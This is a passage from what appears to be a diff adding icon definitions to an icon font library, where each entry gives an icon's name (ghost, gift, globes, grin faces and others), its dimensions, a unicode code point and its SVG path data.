318.2c-1 2.4-4.5 2.4-5.5 0L148.2 192zm204.1 251.7l123-251.7H576L357.3 446.9c-2.3 2.7-6.5-.1-5-3.2z"], + "genderless": [288, 512, [], "f22d", "M144 176c44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80 35.9-80 80-80m0-64C64.5 112 0 176.5 0 256s64.5 144 144 144 144-64.5 144-144-64.5-144-144-144z"], + "ghost": [384, 512, [], "f6e2", "M186.1.09C81.01 3.24 0 94.92 0 200.05v263.92c0 14.26 17.23 21.39 27.31 11.31l24.92-18.53c6.66-4.95 16-3.99 21.51 2.21l42.95 48.35c6.25 6.25 16.38 6.25 22.63 0l40.72-45.85c6.37-7.17 17.56-7.17 23.92 0l40.72 45.85c6.25 6.25 16.38 6.25 22.63 0l42.95-48.35c5.51-6.2 14.85-7.17 21.51-2.21l24.92 18.53c10.08 10.08 27.31 2.94 27.31-11.31V192C384 84 294.83-3.17 186.1.09zM128 224c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128 0c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "gift": [512, 512, [], "f06b", "M32 448c0 17.7 14.3 32 32 32h160V320H32v128zm256 32h160c17.7 0 32-14.3 32-32V320H288v160zm192-320h-42.1c6.2-12.1 10.1-25.5 10.1-40 0-48.5-39.5-88-88-88-41.6 0-68.5 21.3-103 68.3-34.5-47-61.4-68.3-103-68.3-48.5 0-88 39.5-88 88 0 14.5 3.8 27.9 10.1 40H32c-17.7 0-32 14.3-32 32v80c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-80c0-17.7-14.3-32-32-32zm-326.1 0c-22.1 0-40-17.9-40-40s17.9-40 40-40c19.9 0 34.6 3.3 86.1 80h-86.1zm206.1 0h-86.1c51.4-76.5 65.7-80 86.1-80 22.1 0 40 17.9 40 40s-17.9 40-40 40z"], + "gifts": [640, 512, [], "f79c", "M240.6 194.1c1.9-30.8 17.3-61.2 44-79.8C279.4 103.5 268.7 96 256 96h-29.4l30.7-22c7.2-5.1 8.9-15.1 3.7-22.3l-9.3-13c-5.1-7.2-15.1-8.9-22.3-3.7l-32 22.9 11.5-30.6c3.1-8.3-1.1-17.5-9.4-20.6l-15-5.6c-8.3-3.1-17.5 1.1-20.6 9.4l-19.9 53-19.9-53.1C121 2.1 111.8-2.1 103.5 1l-15 5.6C80.2 9.7 76 19 79.2 27.2l11.5 30.6L58.6 35c-7.2-5.1-17.2-3.5-22.3 3.7l-9.3 13c-5.1 7.2-3.5 17.2 3.7 22.3l30.7 22H32c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h168.9c-5.5-9.5-8.9-20.3-8.9-32V256c0-29.9 20.8-55 48.6-61.9zM224 480c0 17.7 14.3 32 32 32h160V384H224v96zm224 32h160c17.7 0 32-14.3 32-32v-96H448v128zm160-288h-20.4c2.6-7.6 4.4-15.5 4.4-23.8 0-35.5-27-72.2-72.1-72.2-48.1 0-75.9 47.7-87.9 75.3-12.1-27.6-39.9-75.3-87.9-75.3-45.1 0-72.1 36.7-72.1 72.2 0 8.3 1.7 16.2 4.4 23.8H256c-17.7 0-32 14.3-32 32v96h192V224h15.3l.7-.2.7.2H448v128h192v-96c0-17.7-14.3-32-32-32zm-272 0c-2.7-1.4-5.1-3-7.2-4.8-7.3-6.4-8.8-13.8-8.8-19 0-9.7 6.4-24.2 24.1-24.2 18.7 0 35.6 27.4 44.5 48H336zm199.2-4.8c-2.1 1.8-4.5 3.4-7.2 4.8h-52.6c8.8-20.3 25.8-48 44.5-48 17.7 0 24.1 14.5 24.1 24.2 0 5.2-1.5 12.6-8.8 19z"], + "glass-cheers": [640, 512, [], "f79f", "M639.4 433.6c-8.4-20.4-31.8-30.1-52.2-21.6l-22.1 9.2-38.7-101.9c47.9-35 64.8-100.3 34.5-152.8L474.3 16c-8-13.9-25.1-19.7-40-13.6L320 49.8 205.7 2.4c-14.9-6.2-32-.3-40 13.6L79.1 166.5C48.9 219 65.7 284.3 113.6 319.2L74.9 421.1l-22.1-9.2c-20.4-8.5-43.7 1.2-52.2 21.6-1.7 4.1.2 8.8 4.3 10.5l162.3 67.4c4.1 1.7 8.7-.2 10.4-4.3 8.4-20.4-1.2-43.8-21.6-52.3l-22.1-9.2L173.3 342c4.4.5 8.8 1.3 13.1 1.3 51.7 0 99.4-33.1 113.4-85.3l20.2-75.4 20.2 75.4c14 52.2 61.7 85.3 113.4 85.3 4.3 0 8.7-.8 13.1-1.3L506 445.6l-22.1 9.2c-20.4 8.5-30.1 31.9-21.6 52.3 1.7 4.1 6.4 6 10.4 4.3L635.1 444c4-1.7 6-6.3 4.3-10.4zM275.9 162.1l-112.1-46.5 36.5-63.4 94.5 39.2-18.9 70.7zm88.2 0l-18.9-70.7 94.5-39.2 36.5 63.4-112.1 46.5z"], + "glass-martini": [512, 512, [], "f000", "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6z"], + "glass-martini-alt": [512, 512, [], "f57b", "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6zM443.77 48l-48 48H116.24l-48-48h375.53z"], + "glass-whiskey": [512, 512, [], "f7a0", "M480 32H32C12.5 32-2.4 49.2.3 68.5l56 356.5c4.5 31.5 31.5 54.9 63.4 54.9h273c31.8 0 58.9-23.4 63.4-54.9l55.6-356.5C514.4 49.2 499.5 32 480 32zm-37.4 64l-30 192h-313L69.4 96h373.2z"], + "glasses": [576, 512, [], "f530", "M574.1 280.37L528.75 98.66c-5.91-23.7-21.59-44.05-43-55.81-21.44-11.73-46.97-14.11-70.19-6.33l-15.25 5.08c-8.39 2.79-12.92 11.86-10.12 20.24l5.06 15.18c2.79 8.38 11.85 12.91 20.23 10.12l13.18-4.39c10.87-3.62 23-3.57 33.16 1.73 10.29 5.37 17.57 14.56 20.37 25.82l38.46 153.82c-22.19-6.81-49.79-12.46-81.2-12.46-34.77 0-73.98 7.02-114.85 26.74h-73.18c-40.87-19.74-80.08-26.75-114.86-26.75-31.42 0-59.02 5.65-81.21 12.46l38.46-153.83c2.79-11.25 10.09-20.45 20.38-25.81 10.16-5.3 22.28-5.35 33.15-1.73l13.17 4.39c8.38 2.79 17.44-1.74 20.23-10.12l5.06-15.18c2.8-8.38-1.73-17.45-10.12-20.24l-15.25-5.08c-23.22-7.78-48.75-5.41-70.19 6.33-21.41 11.77-37.09 32.11-43 55.8L1.9 280.37A64.218 64.218 0 0 0 0 295.86v70.25C0 429.01 51.58 480 115.2 480h37.12c60.28 0 110.37-45.94 114.88-105.37l2.93-38.63h35.75l2.93 38.63C313.31 434.06 363.4 480 423.68 480h37.12c63.62 0 115.2-50.99 115.2-113.88v-70.25c0-5.23-.64-10.43-1.9-15.5zm-370.72 89.42c-1.97 25.91-24.4 46.21-51.06 46.21H115.2C86.97 416 64 393.62 64 366.11v-37.54c18.12-6.49 43.42-12.92 72.58-12.92 23.86 0 47.26 4.33 69.93 12.92l-3.13 41.22zM512 366.12c0 27.51-22.97 49.88-51.2 49.88h-37.12c-26.67 0-49.1-20.3-51.06-46.21l-3.13-41.22c22.67-8.59 46.08-12.92 69.95-12.92 29.12 0 54.43 6.44 72.55 12.93v37.54z"], + "globe": [496, 512, [], "f0ac", "M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z"], + "globe-africa": [496, 512, [], "f57c", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm160 215.5v6.93c0 5.87-3.32 11.24-8.57 13.86l-15.39 7.7a15.485 15.485 0 0 1-15.53-.97l-18.21-12.14a15.52 15.52 0 0 0-13.5-1.81l-2.65.88c-9.7 3.23-13.66 14.79-7.99 23.3l13.24 19.86c2.87 4.31 7.71 6.9 12.89 6.9h8.21c8.56 0 15.5 6.94 15.5 15.5v11.34c0 3.35-1.09 6.62-3.1 9.3l-18.74 24.98c-1.42 1.9-2.39 4.1-2.83 6.43l-4.3 22.83c-.62 3.29-2.29 6.29-4.76 8.56a159.608 159.608 0 0 0-25 29.16l-13.03 19.55a27.756 27.756 0 0 1-23.09 12.36c-10.51 0-20.12-5.94-24.82-15.34a78.902 78.902 0 0 1-8.33-35.29V367.5c0-8.56-6.94-15.5-15.5-15.5h-25.88c-14.49 0-28.38-5.76-38.63-16a54.659 54.659 0 0 1-16-38.63v-14.06c0-17.19 8.1-33.38 21.85-43.7l27.58-20.69a54.663 54.663 0 0 1 32.78-10.93h.89c8.48 0 16.85 1.97 24.43 5.77l14.72 7.36c3.68 1.84 7.93 2.14 11.83.84l47.31-15.77c6.33-2.11 10.6-8.03 10.6-14.7 0-8.56-6.94-15.5-15.5-15.5h-10.09c-4.11 0-8.05-1.63-10.96-4.54l-6.92-6.92a15.493 15.493 0 0 0-10.96-4.54H199.5c-8.56 0-15.5-6.94-15.5-15.5v-4.4c0-7.11 4.84-13.31 11.74-15.04l14.45-3.61c3.74-.94 7-3.23 9.14-6.44l8.08-12.11c2.87-4.31 7.71-6.9 12.89-6.9h24.21c8.56 0 15.5-6.94 15.5-15.5v-21.7C359.23 71.63 422.86 131.02 441.93 208H423.5c-8.56 0-15.5 6.94-15.5 15.5z"], + "globe-americas": [496, 512, [], "f57d", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm82.29 357.6c-3.9 3.88-7.99 7.95-11.31 11.28-2.99 3-5.1 6.7-6.17 10.71-1.51 5.66-2.73 11.38-4.77 16.87l-17.39 46.85c-13.76 3-28 4.69-42.65 4.69v-27.38c1.69-12.62-7.64-36.26-22.63-51.25-6-6-9.37-14.14-9.37-22.63v-32.01c0-11.64-6.27-22.34-16.46-27.97-14.37-7.95-34.81-19.06-48.81-26.11-11.48-5.78-22.1-13.14-31.65-21.75l-.8-.72a114.792 114.792 0 0 1-18.06-20.74c-9.38-13.77-24.66-36.42-34.59-51.14 20.47-45.5 57.36-82.04 103.2-101.89l24.01 12.01C203.48 89.74 216 82.01 216 70.11v-11.3c7.99-1.29 16.12-2.11 24.39-2.42l28.3 28.3c6.25 6.25 6.25 16.38 0 22.63L264 112l-10.34 10.34c-3.12 3.12-3.12 8.19 0 11.31l4.69 4.69c3.12 3.12 3.12 8.19 0 11.31l-8 8a8.008 8.008 0 0 1-5.66 2.34h-8.99c-2.08 0-4.08.81-5.58 2.27l-9.92 9.65a8.008 8.008 0 0 0-1.58 9.31l15.59 31.19c2.66 5.32-1.21 11.58-7.15 11.58h-5.64c-1.93 0-3.79-.7-5.24-1.96l-9.28-8.06a16.017 16.017 0 0 0-15.55-3.1l-31.17 10.39a11.95 11.95 0 0 0-8.17 11.34c0 4.53 2.56 8.66 6.61 10.69l11.08 5.54c9.41 4.71 19.79 7.16 30.31 7.16s22.59 27.29 32 32h66.75c8.49 0 16.62 3.37 22.63 9.37l13.69 13.69a30.503 30.503 0 0 1 8.93 21.57 46.536 46.536 0 0 1-13.72 32.98zM417 274.25c-5.79-1.45-10.84-5-14.15-9.97l-17.98-26.97a23.97 23.97 0 0 1 0-26.62l19.59-29.38c2.32-3.47 5.5-6.29 9.24-8.15l12.98-6.49C440.2 193.59 448 223.87 448 256c0 8.67-.74 17.16-1.82 25.54L417 274.25z"], + "globe-asia": [496, 512, [], "f57e", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm-11.34 240.23c-2.89 4.82-8.1 7.77-13.72 7.77h-.31c-4.24 0-8.31 1.69-11.31 4.69l-5.66 5.66c-3.12 3.12-3.12 8.19 0 11.31l5.66 5.66c3 3 4.69 7.07 4.69 11.31V304c0 8.84-7.16 16-16 16h-6.11c-6.06 0-11.6-3.42-14.31-8.85l-22.62-45.23c-2.44-4.88-8.95-5.94-12.81-2.08l-19.47 19.46c-3 3-7.07 4.69-11.31 4.69H50.81C49.12 277.55 48 266.92 48 256c0-110.28 89.72-200 200-200 21.51 0 42.2 3.51 61.63 9.82l-50.16 38.53c-5.11 3.41-4.63 11.06.86 13.81l10.83 5.41c5.42 2.71 8.84 8.25 8.84 14.31V216c0 4.42-3.58 8-8 8h-3.06c-3.03 0-5.8-1.71-7.15-4.42-1.56-3.12-5.96-3.29-7.76-.3l-17.37 28.95zM408 358.43c0 4.24-1.69 8.31-4.69 11.31l-9.57 9.57c-3 3-7.07 4.69-11.31 4.69h-15.16c-4.24 0-8.31-1.69-11.31-4.69l-13.01-13.01a26.767 26.767 0 0 0-25.42-7.04l-21.27 5.32c-1.27.32-2.57.48-3.88.48h-10.34c-4.24 0-8.31-1.69-11.31-4.69l-11.91-11.91a8.008 8.008 0 0 1-2.34-5.66v-10.2c0-3.27 1.99-6.21 5.03-7.43l39.34-15.74c1.98-.79 3.86-1.82 5.59-3.05l23.71-16.89a7.978 7.978 0 0 1 4.64-1.48h12.09c3.23 0 6.15 1.94 7.39 4.93l5.35 12.85a4 4 0 0 0 3.69 2.46h3.8c1.78 0 3.35-1.18 3.84-2.88l4.2-14.47c.5-1.71 2.06-2.88 3.84-2.88h6.06c2.21 0 4 1.79 4 4v12.93c0 2.12.84 4.16 2.34 5.66l11.91 11.91c3 3 4.69 7.07 4.69 11.31v24.6z"], + "globe-europe": [496, 512, [], "f7a2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm200 248c0 22.5-3.9 44.2-10.8 64.4h-20.3c-4.3 0-8.4-1.7-11.4-4.8l-32-32.6c-4.5-4.6-4.5-12.1.1-16.7l12.5-12.5v-8.7c0-3-1.2-5.9-3.3-8l-9.4-9.4c-2.1-2.1-5-3.3-8-3.3h-16c-6.2 0-11.3-5.1-11.3-11.3 0-3 1.2-5.9 3.3-8l9.4-9.4c2.1-2.1 5-3.3 8-3.3h32c6.2 0 11.3-5.1 11.3-11.3v-9.4c0-6.2-5.1-11.3-11.3-11.3h-36.7c-8.8 0-16 7.2-16 16v4.5c0 6.9-4.4 13-10.9 15.2l-31.6 10.5c-3.3 1.1-5.5 4.1-5.5 7.6v2.2c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8s-3.6-8-8-8H247c-3 0-5.8 1.7-7.2 4.4l-9.4 18.7c-2.7 5.4-8.2 8.8-14.3 8.8H194c-8.8 0-16-7.2-16-16V199c0-4.2 1.7-8.3 4.7-11.3l20.1-20.1c4.6-4.6 7.2-10.9 7.2-17.5 0-3.4 2.2-6.5 5.5-7.6l40-13.3c1.7-.6 3.2-1.5 4.4-2.7l26.8-26.8c2.1-2.1 3.3-5 3.3-8 0-6.2-5.1-11.3-11.3-11.3H258l-16 16v8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-20c0-2.5 1.2-4.9 3.2-6.4l28.9-21.7c1.9-.1 3.8-.3 5.7-.3C358.3 56 448 145.7 448 256zM130.1 149.1c0-3 1.2-5.9 3.3-8l25.4-25.4c2.1-2.1 5-3.3 8-3.3 6.2 0 11.3 5.1 11.3 11.3v16c0 3-1.2 5.9-3.3 8l-9.4 9.4c-2.1 2.1-5 3.3-8 3.3h-16c-6.2 0-11.3-5.1-11.3-11.3zm128 306.4v-7.1c0-8.8-7.2-16-16-16h-20.2c-10.8 0-26.7-5.3-35.4-11.8l-22.2-16.7c-11.5-8.6-18.2-22.1-18.2-36.4v-23.9c0-16 8.4-30.8 22.1-39l42.9-25.7c7.1-4.2 15.2-6.5 23.4-6.5h31.2c10.9 0 21.4 3.9 29.6 10.9l43.2 37.1h18.3c8.5 0 16.6 3.4 22.6 9.4l17.3 17.3c3.4 3.4 8.1 5.3 12.9 5.3H423c-32.4 58.9-93.8 99.5-164.9 103.1z"], + "golf-ball": [416, 512, [], "f450", "M96 416h224c0 17.7-14.3 32-32 32h-16c-17.7 0-32 14.3-32 32v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-20c0-17.7-14.3-32-32-32h-16c-17.7 0-32-14.3-32-32zm320-208c0 74.2-39 139.2-97.5 176h-221C39 347.2 0 282.2 0 208 0 93.1 93.1 0 208 0s208 93.1 208 208zm-180.1 43.9c18.3 0 33.1-14.8 33.1-33.1 0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1zm49.1 46.9c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1zm64-64c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1z"], + "gopuram": [512, 512, [], "f664", "M496 352h-16V240c0-8.8-7.2-16-16-16h-16v-80c0-8.8-7.2-16-16-16h-16V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16S96 7.2 96 16v112H80c-8.8 0-16 7.2-16 16v80H48c-8.8 0-16 7.2-16 16v112H16c-8.8 0-16 7.2-16 16v128c0 8.8 7.2 16 16 16h80V352h32V224h32v-96h32v96h-32v128h-32v160h80v-80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v80h80V352h-32V224h-32v-96h32v96h32v128h32v160h80c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zM232 176c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v48h-48zm56 176h-64v-64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z"], + "graduation-cap": [640, 512, [], "f19d", "M622.34 153.2L343.4 67.5c-15.2-4.67-31.6-4.67-46.79 0L17.66 153.2c-23.54 7.23-23.54 38.36 0 45.59l48.63 14.94c-10.67 13.19-17.23 29.28-17.88 46.9C38.78 266.15 32 276.11 32 288c0 10.78 5.68 19.85 13.86 25.65L20.33 428.53C18.11 438.52 25.71 448 35.94 448h56.11c10.24 0 17.84-9.48 15.62-19.47L82.14 313.65C90.32 307.85 96 298.78 96 288c0-11.57-6.47-21.25-15.66-26.87.76-15.02 8.44-28.3 20.69-36.72L296.6 284.5c9.06 2.78 26.44 6.25 46.79 0l278.95-85.7c23.55-7.24 23.55-38.36 0-45.6zM352.79 315.09c-28.53 8.76-52.84 3.92-65.59 0l-145.02-44.55L128 384c0 35.35 85.96 64 192 64s192-28.65 192-64l-14.18-113.47-145.03 44.56z"], + "greater-than": [384, 512, [], "f531", "M365.52 209.85L59.22 67.01c-16.06-7.49-35.15-.54-42.64 15.52L3.01 111.61c-7.49 16.06-.54 35.15 15.52 42.64L236.96 256.1 18.49 357.99C2.47 365.46-4.46 384.5 3.01 400.52l13.52 29C24 445.54 43.04 452.47 59.06 445l306.47-142.91a32.003 32.003 0 0 0 18.48-29v-34.23c-.01-12.45-7.21-23.76-18.49-29.01z"], + "greater-than-equal": [448, 512, [], "f532", "M55.22 107.69l175.56 68.09-175.44 68.05c-18.39 6.03-27.88 24.39-21.2 41l12.09 30.08c6.68 16.61 26.99 25.19 45.38 19.15L393.02 214.2c13.77-4.52 22.98-16.61 22.98-30.17v-15.96c0-13.56-9.21-25.65-22.98-30.17L91.3 17.92c-18.29-6-38.51 2.53-45.15 19.06L34.12 66.9c-6.64 16.53 2.81 34.79 21.1 40.79zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"], + "grimace": [496, 512, [], "f57f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM144 400h-8c-17.7 0-32-14.3-32-32v-8h40v40zm0-56h-40v-8c0-17.7 14.3-32 32-32h8v40zm-8-136c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm72 192h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm-8-104c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64 128c0 17.7-14.3 32-32 32h-8v-40h40v8zm0-24h-40v-40h8c17.7 0 32 14.3 32 32v8z"], + "grin": [496, 512, [], "f580", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm80 256c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-alt": [496, 512, [], "f581", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm63.7 128.7c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zm-160 0c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-beam": [496, 512, [], "f582", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 144c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-beam-sweat": [504, 512, [], "f583", "M456 128c26.5 0 48-21 48-47 0-20-28.5-60.4-41.6-77.8-3.2-4.3-9.6-4.3-12.8 0C436.5 20.6 408 61 408 81c0 26 21.5 47 48 47zm0 32c-44.1 0-80-35.4-80-79 0-4.4.3-14.2 8.1-32.2C345 23.1 298.3 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-35.1-7.4-68.4-20.5-98.6-6.3 1.5-12.7 2.6-19.5 2.6zm-128-8c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-hearts": [496, 512, [], "f584", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM90.4 183.6c6.7-17.6 26.7-26.7 44.9-21.9l7.1 1.9 2-7.1c5-18.1 22.8-30.9 41.5-27.9 21.4 3.4 34.4 24.2 28.8 44.5L195.3 243c-1.2 4.5-5.9 7.2-10.5 6l-70.2-18.2c-20.4-5.4-31.9-27-24.2-47.2zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm133.4-201.3l-70.2 18.2c-4.5 1.2-9.2-1.5-10.5-6L281.3 173c-5.6-20.3 7.4-41.1 28.8-44.5 18.6-3 36.4 9.8 41.5 27.9l2 7.1 7.1-1.9c18.2-4.7 38.2 4.3 44.9 21.9 7.7 20.3-3.8 41.9-24.2 47.2z"], + "grin-squint": [496, 512, [], "f585", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-squint-tears": [512, 512, [], "f586", "M409.6 111.9c22.6-3.2 73.5-12 88.3-26.8 19.2-19.2 18.9-50.6-.7-70.2S446-5 426.9 14.2c-14.8 14.8-23.5 65.7-26.8 88.3-.8 5.5 3.9 10.2 9.5 9.4zM102.4 400.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm311.7-256.5c-33 3.9-48.6-25.1-45.7-45.7 3.4-24 7.4-42.1 11.5-56.5C285.1-13.4 161.8-.5 80.6 80.6-.5 161.7-13.4 285 41.4 379.9c14.4-4.1 32.4-8 56.5-11.5 33.2-3.9 48.6 25.2 45.7 45.7-3.4 24-7.4 42.1-11.5 56.5 94.8 54.8 218.1 41.9 299.3-39.2s94-204.4 39.2-299.3c-14.4 4.1-32.5 8-56.5 11.5zM255.7 106c3.3-13.2 22.4-11.5 23.6 1.8l4.8 52.3 52.3 4.8c13.4 1.2 14.9 20.3 1.8 23.6l-90.5 22.6c-8.9 2.2-16.7-5.9-14.5-14.5l22.5-90.6zm-90.9 230.3L160 284l-52.3-4.8c-13.4-1.2-14.9-20.3-1.8-23.6l90.5-22.6c8.8-2.2 16.7 5.8 14.5 14.5L188.3 338c-3.1 13.2-22.2 11.7-23.5-1.7zm215.7 44.2c-29.3 29.3-75.7 50.4-116.7 50.4-18.9 0-36.6-4.5-51-14.7-9.8-6.9-8.7-21.8 2-27.2 28.3-14.6 63.9-42.4 97.8-76.3s61.7-69.6 76.3-97.8c5.4-10.5 20.2-11.9 27.3-2 32.3 45.3 7.1 124.7-35.7 167.6z"], + "grin-stars": [496, 512, [], "f587", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM94.6 168.9l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.2 1 8.9 8.6 4.3 13.2l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L152 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.6-4.7-1.9-12.3 4.3-13.3zM248 432c-60.6 